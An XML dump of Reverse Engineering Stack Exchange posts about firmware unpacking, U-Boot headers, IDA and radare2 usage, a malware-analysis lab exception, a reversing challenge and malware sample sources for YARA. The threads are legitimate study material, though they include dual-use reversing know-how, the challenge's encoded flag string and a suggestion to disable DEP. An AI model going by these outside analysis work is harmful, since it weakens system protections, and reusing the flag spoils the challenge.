Data Address: 0x80002000, Entry Point: 0x801B2040, data CRC: 0x5AFA7402, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;MIPS Linux-2.4.31-Amazon_SE-3.6.]&quot;&#xA;196672        0x30040         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 1986560 bytes&#xA;851968        0xD0000         Squashfs filesystem, big endian, lzma compression, version 2.1, size: 2991870 bytes, 748 inodes, blocksize: 65536 bytes, created: 2014-11-04 09:42:21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the signature scan, the u-boot image is of &lt;code&gt;image type: Firmware Image&lt;/code&gt; and data address and entry point is &lt;code&gt;0x80400000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should this information be interpreted? Let us begin with a description of  &lt;a href=&quot;http://www.denx.de/wiki/DULG/UBootImages&quot; rel=&quot;nofollow noreferrer&quot;&gt;U-Boot image formats&lt;/a&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/n1NiM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1NiM.png&quot; alt=&quot;U-Boot Image formats&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/u-boot/u-boot/blob/master/include/image.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;include/image.h&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On line 230:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* &quot;Firmware Images&quot; are binary images containing firmware (like&#xA;*      U-Boot or FPGA images) which usually will be programmed to&#xA;*      flash memory.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Legacy format image header,&#xA; * all data in network byte order (aka natural aka bigendian).&#xA; */&#xA;typedef struct image_header {&#xA;    __be32      ih_magic;       /* Image Header Magic Number    */&#xA;    __be32      ih_hcrc;        /* Image Header CRC Checksum    */&#xA;    __be32      ih_time;        /* Image Creation Timestamp     */&#xA;    __be32      ih_size;        /* Image Data Size              */&#xA;    __be32      ih_load;        /* Data  Load  Address          */&#xA;    __be32      ih_ep;          /* Entry Point Address          */&#xA;    __be32      ih_dcrc;        /* Image Data CRC Checksum      */&#xA;    uint8_t     ih_os;          /* Operating System             */&#xA;    uint8_t     ih_arch;        /* CPU architecture             */&#xA;    uint8_t     ih_type;        /* Image Type                   */&#xA;    uint8_t     ih_comp;        /* Compression Type             */&#xA;    uint8_t     ih_name[IH_NMLEN];  /* Image Name               */&#xA;} image_header_t;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Image info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct image_info {&#xA;    ulong       start, end;             /* start/end of blob */&#xA;    ulong       image_start, image_len; /* start of image within blob, len of image */&#xA;    ulong       load;                   /* load addr for the image */&#xA;    uint8_t     comp, type, os;         /* compression, type of image, os type */&#xA;    uint8_t     arch;                   /* CPU architecture */&#xA;} image_info_t;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Information about the load address is stored in the uImage header and this is what is output in a signature scan by &lt;code&gt;binwalk&lt;/code&gt;. In this case it is &lt;code&gt;0x8040000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11096/reverse-engineering-mips-bootloader&quot;&gt;Reverse Engineering MIPS Bootloader&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.johnloomis.org/microchip/pic32/memory/memory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIPS Address Space&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering VxWorks Firmware: WRT54Gv8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.isysop.com/unpacking-and-repacking-u-boot-uimage-files/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unpacking and repacking U-Boot uImage files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.linuxjournal.com/content/handy-u-boot-trick&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Handy U-Boot Trick&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nulltrace.org/2013/04/mips-bootstrapping.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIPS Bootstrapping&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-04-08T05:05:48.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15127" PostTypeId="1" AcceptedAnswerId="15136" CreationDate="2017-04-08T12:06:38.320" Score="1" ViewCount="1017" Body="&lt;p&gt;I am working on Lab13-01.exe from &quot;Practical Malware Analysis&quot; (you can download it from &lt;a href=&quot;http://I%20am%20working%20on%20Lab13-01.exe%20from%20%22Practical%20Malware%20Analysis%22.%20%20When%20I%20run%20it%20without%20debuggers%20in%20my%20VMWare%20it%20runs%20without%20errors.%20%20I%20started%20to%20analyze%20it%20with%20OllyDbg%202.01.%20%20There%20is%20some%20point%20in%20the%20code%20that%20it%20receives%20exception%20and%20I%20don&amp;#39;t%20understand%20why.%20%20It%20has%20resource%20that%20contains%20encoded%20string:%20%20LLLKIZXORXZWVZWLZI%5EZUZWBHRHXTV%20%20This%20resource%20is%20at%20address%200x408060%20At%200x4011C1%20it%20overwrites%20the%20first%20byte%20of%20the%20string%20with%20AL%20(0x77):%20MOV%20BYTE%20PTR%20DS:[ECX],%20AL%20%20Then%20I%20received:%20%22Access%20violation%20when%20writing%20to%20[00408060]%22%20%20When%20I%20press%20Shift+Run/Step,%20it%20succeed%20to%20run.%20%20%20There%20number%20of%20things%20I%20don&amp;#39;t%20understand%20here.%20%201.%20If%20it%20can&amp;#39;t%20write%20to%20[00408060],%20how%20come%20when%20I%20press%20Shift+Run/Step%20it%20succeed%20?%202.%20Why%20it%20can&amp;#39;t%20write%20to%20[00408060]%20?%20Is%20there%20some%20flag%20that%20prevent%20from%20writing%20to%20this%20aread%20(if%20yes,%20where%20can%20I%20see%20it?)%20?&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run it without debuggers in my VMWare it runs without errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to analyze it with OllyDbg 2.01.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some point in the code that it receives exception and I don't understand why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has resource that contains encoded string:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LLLKIZXORXZWVZWLZI^ZUZWBHRHXTV&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This resource is saved at address &lt;code&gt;0x408060&lt;/code&gt;&lt;br&gt;&#xA;At &lt;code&gt;0x4011C1&lt;/code&gt; it overwrites the first byte of the string with &lt;code&gt;AL (0x77)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV BYTE PTR DS:[ECX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I received:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Access violation when writing to [00408060]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AFYRp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AFYRp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press Shift+Run/Step, it succeed to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There number of things I don't understand here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If it can't write to &lt;code&gt;[00408060]&lt;/code&gt;, how come when I press Shift+Run/Step it succeed ?&lt;/li&gt;&#xA;&lt;li&gt;Why it can't write to &lt;code&gt;[00408060]&lt;/code&gt; ? Is there some flag that prevent from writing to this aread (if yes, where can I see it?) ? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2017-12-06T15:54:56.197" Title="Why the program can't write to specific memory area" Tags="|ollydbg|exception|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15128" PostTypeId="1" AcceptedAnswerId="15492" CreationDate="2017-04-08T13:25:54.587" Score="2" ViewCount="2441" Body="&lt;p&gt;I am trying to reverse engineer the &lt;a href=&quot;http://www.linksys.com/EU/en/support/WAG120N&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linksys WAG120N&lt;/a&gt; router firmware. I've been able to unpack it and extract the bootloader, kernel and filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel is MIPS big endian. I loaded the kernel into IDA pro with start address of &lt;code&gt;0x80002000&lt;/code&gt;. The entry point is &lt;code&gt;0x801B2040&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have now is that all the functions are named as &lt;code&gt;sub_&lt;/code&gt;. I need a symbol table to help me reverse this binary. Binwalk doesn't find any symbol tables and I'm not sure how to rebuild a symbol table, as I am new to  this sort of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a post &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4549/rebuild-symbol-table&quot;&gt;Rebuild symbol table&lt;/a&gt;, but that was about static and shared libraries, which my kernel is not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;file&lt;/code&gt; on my kernel gives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kernel: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if the binary has a symbol table, but if it does, I don't know how to extract it. Or is there another way of reversing the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have found what appears to be a symbol table. It has the libc string functions and lots of other functions. But there aren't many cross references to these function names in the disassembly. How do I use this? &lt;/p&gt;&#xA;" OwnerUserId="17681" LastEditorUserId="17681" LastEditDate="2017-04-10T10:05:30.567" LastActivityDate="2021-02-03T20:27:30.313" Title="Rebuilding a symbol table for a firmware binary" Tags="|ida|disassembly|symbols|kernel|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15132" PostTypeId="1" CreationDate="2017-04-09T23:49:47.683" Score="2" ViewCount="2131" Body="&lt;p&gt;I'm currently trying to reverse engineer the firmware for the Swann DVR16-4500 security camera system. I successfully extracted the cramfs filesystem and now I have the following files inside the cramfs-root directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root 2289232 Dec 31  1969 gui_res.tar.lzma&#xA;-rwxr-xr-x 1 root root     744 Dec 31  1969 new_10.bin&#xA;drwxr-xr-x 2 root root    4096 Dec 15  2015 Player_ml&#xA;-rwxr-xr-x 1 root root  824944 Dec 31  1969 player.zip&#xA;-rwxr-xr-x 1 root root    2936 Dec 31  1969 start.sh&#xA;-rw-r--r-- 1 root root 6213824 Dec 31  1969 sys_app.tar.lzma&#xA;-rwxr-xr-x 1 root root 3585544 Dec 31  1969 uImage&#xA;-rwxr-xr-x 1 root root 1881320 Dec 31  1969 WebComponents.exe&#xA;-rwxr-xr-x 1 root root  689296 Dec 31  1969 webs.tar.lzma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using unlzma and tar --lzma -xvf to extract the *.tar.lzma files, but I had no luck. I came across &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13619/open-a-non-standard-compression-tar-lzma-file-extracted-from-firmware-download&quot; title=&quot;this post&quot;&gt;this post&lt;/a&gt; which suggested running the kernel in an emulator in the hopes of finding the necessary extraction tools there. I've been tearing through QEMU documentation and online videos but I can't figure out exactly what I need to do to get QEMU to run the uImage kernel using qemu-system-arm. What do I need to do in order to get the kernel to run?&lt;/p&gt;&#xA;" OwnerUserId="19809" LastActivityDate="2017-04-09T23:49:47.683" Title="Using QEMU to boot arm uImage kernel" Tags="|qemu|kernel|" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15134" PostTypeId="2" ParentId="15127" CreationDate="2017-04-10T06:05:26.433" Score="0" Body="&lt;p&gt;It could easily be that it is code/data segregation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows it is called Data Execution Protection.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of malware will load their code as if it were data, then maybe rewrite it after decryption, then attempt to execute it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DEP should always be on, but for purposes of this demonstration maybe you could turn it off and see if you get different results.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then turn it back on.&lt;/p&gt;&#xA;" OwnerUserId="18580" LastActivityDate="2017-04-10T06:05:26.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15135" PostTypeId="2" ParentId="15118" CreationDate="2017-04-10T06:20:31.473" Score="2" Body="&lt;p&gt;You should do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open a command line interpreter window of Windows OS (cmd.exe)&lt;/li&gt;&#xA;&lt;li&gt;Find the exact location of the IDA executable that you are usually running (should be idaq.exe in modern versions, you can check the exact name in desktop shortcut by examining its properties)&lt;/li&gt;&#xA;&lt;li&gt;Run it from the comma&#xA;nd line interpreter window (paste the IDA executable full name, surround it with quotes) with &lt;code&gt;-B&lt;/code&gt; command line switch. You'll have something like this: &lt;code&gt;&quot;c:\Program Files (x86)\IDA 6.95\idaq.exe&quot; -B {full path to  the file you want to analyze}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;After running this command you should see the idb and assembly file in the same directory where your executable that you tried to analyze resides. Please note that you should run it on behalf of user that has write access permission for the folder where it resides. In addition you need to use appropriate IDA version: if the analyzed executable has 64 bit instruction set you have to use idaq64 executable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is how it works (and worked always) on my computer with IDA 6.95 (I analyzing 64 bit object file test.o, and corresponding ida database extension is not idb, but i64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Users\[censored]\Downloads\idatest&amp;gt;copy z:\test.o .\&#xA;        1 file(s) copied.&#xA;&#xA;C:\Users\[censored]\Downloads\idatest&amp;gt;&quot;c:\Program Files (x86)\IDA 6.95\idaq64.exe&quot; -B .\test.o&#xA;&#xA;C:\Users\[censored]\Downloads\idatest&amp;gt;dir&#xA; Volume in drive C is OSDisk&#xA; Volume Serial Number is F88B-CF68&#xA;&#xA; Directory of C:\Users\[censored]\Downloads\idatest&#xA;&#xA;04/13/2017  04:20 PM    &amp;lt;DIR&amp;gt;          .&#xA;04/13/2017  04:20 PM    &amp;lt;DIR&amp;gt;          ..&#xA;04/13/2017  04:20 PM             2,985 test.asm&#xA;04/13/2017  04:20 PM            65,992 test.i64&#xA;03/22/2017  06:44 PM             1,424 test.o&#xA;               3 File(s)         70,401 bytes&#xA;               2 Dir(s)   8,296,001,536 bytes free&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know in comments if something doesn't work. Btw, help on command line switches is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="25621" LastEditDate="2018-09-11T14:54:38.323" LastActivityDate="2018-09-11T14:54:38.323" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="15136" PostTypeId="2" ParentId="15127" CreationDate="2017-04-10T10:51:18.843" Score="1" Body="&lt;p&gt;I went to the memory map window.&lt;br&gt;&#xA;I searched for the memory address range for 408060.&lt;br&gt;&#xA;It  was under &lt;code&gt;.rsrc&lt;/code&gt; (Resources).&lt;br&gt;&#xA;It had only read permissions, I set it with write permissions too and now it works:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/op0pv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/op0pv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2017-04-10T10:51:18.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15140" PostTypeId="1" AcceptedAnswerId="15155" CreationDate="2017-04-11T11:01:46.493" Score="-1" ViewCount="228" Body="&lt;p&gt;My problem is: hexrays thinks that semicolon is visible character. &#xA;In IDAPython idaapi.is_visible_char(';') returns True&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In picture you can see &quot;field_100C;&quot; highlighted, but &quot;field_100C&quot; not highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h1RM9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1RM9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ida.cfg I have following NameChars (this is ARM LE):&lt;br&gt;&#xA;NameChars =&lt;br&gt;&#xA;        &quot;_0123456789&quot;&lt;br&gt;&#xA;        &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;&lt;br&gt;&#xA;        &quot;abcdefghijklmnopqrstuvwxyz&quot;;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any other NameChars array semicolon is not added.&lt;br&gt;&#xA;So, how can this behaviour get fixed? Is there idapython call of some sorts? Can plugins be a reason for this? Is there GUI option to check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this, but it didnt help&lt;br&gt;&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2017-04-13T07:41:19.820" Title="Incorrect semicolon usage in decompiled variables" Tags="|ida|ida-plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15141" PostTypeId="1" AcceptedAnswerId="15142" CreationDate="2017-04-11T11:48:07.117" Score="0" ViewCount="10148" Body="&lt;p&gt;The binary is from here: &lt;a href=&quot;https://files.fm/u/qtqmhhdd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://files.fm/u/qtqmhhdd&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've been attempting this a couple of days. It's an ELF-64 bit file and I've gdb and IDA to see how it works for a while. You can run the file by&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./reverse1.bin TEST (outputs a fail message)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In gdb it runs a _Z5checkPc function and you can use &amp;quot;disas check&amp;quot;. It uses the flag from address &lt;code&gt;0x601038&lt;/code&gt; which is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; synt{0p5r7996pnq3qn36377036onor7342s41pq30r3n3q0p46n283862718o7n6s78n}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I don't see it where it actually gets used in the code.&lt;/p&gt;&#xA;&lt;p&gt;From the check function it seems to does a bunch of operations (or, add, ...) to your arg. I thought it would do a compare to see determine if it &amp;quot;fails&amp;quot; or &amp;quot;success&amp;quot; at &lt;code&gt;0x00000000004005b0&lt;/code&gt; but that is not right, strangely.&lt;/p&gt;&#xA;&lt;p&gt;Any insights on what to do?&lt;/p&gt;&#xA;" OwnerUserId="19581" LastEditorUserId="37138" LastEditDate="2021-11-07T10:01:42.157" LastActivityDate="2021-11-07T10:03:25.883" Title="Reverse engineering binary file to find flag" Tags="|binary-analysis|decompilation|binary|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15142" PostTypeId="2" ParentId="15141" CreationDate="2017-04-11T12:23:27.560" Score="4" Body="&lt;p&gt;Since this is a reversing challenge, I won't jump the gun right away and give you some tips which may help for this and future Challenges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;check&lt;/code&gt; function (&lt;code&gt;_Z5checkPc&lt;/code&gt; is a mangled name) looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/UbZsz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UbZsz.png&quot; alt=&quot;Ida representation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You already found the data the input value is compared to. But you failed to understand that there is no direct comparison here.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We have a loop over a string value. That means it is highly probable each character is processed sequentially.&lt;/li&gt;&#xA;&lt;li&gt;Values are modified in an (obfuscated) way, before they are compared -&gt; there is some kind of coding here!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although there is dead code included in the function, you'll have to identify the modification which is taking place directly before the comparison (what is compared to what? how are these values calculated?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly encourage you to ask follow up questions if there is anything in particular you don't understand. For minor questions or discussions, you can also drop by in the chat.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-04-11T12:45:54.530" LastActivityDate="2017-04-11T12:45:54.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15143" PostTypeId="2" ParentId="15140" CreationDate="2017-04-11T13:25:29.213" Score="1" Body="&lt;p&gt;I did try to come up with a minimal example myself and I couldn't reproduce the bug above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yap1o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yap1o.png&quot; alt=&quot;IDA highlighting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It boils down to what you are selecting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aMpRk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aMpRk.png&quot; alt=&quot;IDA highlighting fails&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default behavior seems to select the word you click on, omitting trailing characters like &lt;code&gt;;&lt;/code&gt;. But if I select the string manually (here: &lt;code&gt;*v3;&lt;/code&gt;) only occurrences of this exact string are highlighted,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can provide any additional information, please disclose it. I'm afraid it can not be helped otherwise. Can you maybe come up with a minimal example exhibiting the bug?&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-11T13:25:29.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15145" PostTypeId="1" AcceptedAnswerId="15149" CreationDate="2017-04-12T02:14:22.517" Score="1" ViewCount="1556" Body="&lt;p&gt;Working to debug and analyze a piece of firmware, I've come across a bunch of cgi files which are all symlinked to a central cgi file. The first thing the main function does is run a series of string comparisons to identify which cgi file's functions should be run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is I am now trying to map the functions to their respective cgi names, but I am relatively new to binary debugging and cannot figure how to identify which values represent the string hard-coded into memory that the input is being compared to. I am using Radare2 and a sample of the code and a screenshot of the structure can be seen below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000099a4   08001be5    ldr r0, [fp - local_8h]   ; const char * s1&#xA;0x000099a8   b81709e3    movw r1, 0x97b8&#xA;0x000099ac   021040e3    movt r1, 2                ; const char * s2&#xA;0x000099b0   5affffeb     bl sym.imp.strcmp        ;[3]; int strcmp(const char *s1, const char *s2)&#xA;0x000099b4   0030a0e1    mov r3, r0&#xA;0x000099b8   000053e3    cmp r3, 0&#xA;0x000099bc   0500001a    bne 0x99d8                ;[4]&#xA;0x000099c0   10001be5    ldr r0, [fp - local_10h]&#xA;0x000099c4   14101be5    ldr r1, [fp - local_14h]&#xA;0x000099c8   18201be5    ldr r2, [fp - local_18h]&#xA;0x000099cc   1f4e00eb    bl sub.setuid_250         ;[5]&#xA;0x000099d0   0c000be5    str r0, [fp - local_ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0cBhd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0cBhd.png&quot; alt=&quot;Structure&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19839" LastEditorUserId="18698" LastEditDate="2017-12-16T16:54:01.340" LastActivityDate="2017-12-16T16:54:01.340" Title="Trying to identify a string in a strcmp instruction" Tags="|disassembly|binary-analysis|firmware|radare2|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15146" PostTypeId="1" AcceptedAnswerId="15150" CreationDate="2017-04-12T06:09:21.430" Score="5" ViewCount="860" Body="&lt;p&gt;I want to know, Is there any websites which has malware files (Windows OS) that are detected by YARA rules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: I know some websites to get android malware samples using YARA.&#xA;But, I need Windows OS based malware.&lt;/p&gt;&#xA;" OwnerUserId="16096" LastEditorUserId="2147" LastEditDate="2018-08-27T23:10:52.840" LastActivityDate="2018-08-27T23:10:52.840" Title="Is there any websites to get malware files using YARA rules?" Tags="|windows|malware|yara|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15147" PostTypeId="2" ParentId="15146" CreationDate="2017-04-12T06:48:58.347" Score="2" Body="&lt;p&gt;So let me google that for you... What about:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Neo23x0/signature-base/tree/master/yara&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Neo23x0/signature-base/tree/master/yara&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Yara-Rules/rules&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yara-Rules/rules&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;use &lt;code&gt;clamav_to_yara.py&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;https://www.yara-generator.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.yara-generator.net/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2017-04-12T06:48:58.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15148" PostTypeId="2" ParentId="15146" CreationDate="2017-04-12T07:05:05.123" Score="3" Body="&lt;p&gt;afaik &lt;a href=&quot;http://shadowserver.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;shadowserver&lt;/a&gt; offers a service like this to business partners (you send yara rules and get matching samples from honeypots in return), but there is no such service for free or personal use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to set up your won honeypot for current malware samples (there is a broad range of software for this) or try to run your yara rules on your own malware repository (i.e. collect all samples you can find from free sources and apply your yara rules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not in that business, you will not be able to rely on services like &lt;em&gt;virustotal intelligence&lt;/em&gt; who offer the biggest malware corpus I know of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, a lot of community-driven or free malware sample collections failed at some point. Please be aware of that when starting a service of your own.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-12T07:05:05.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
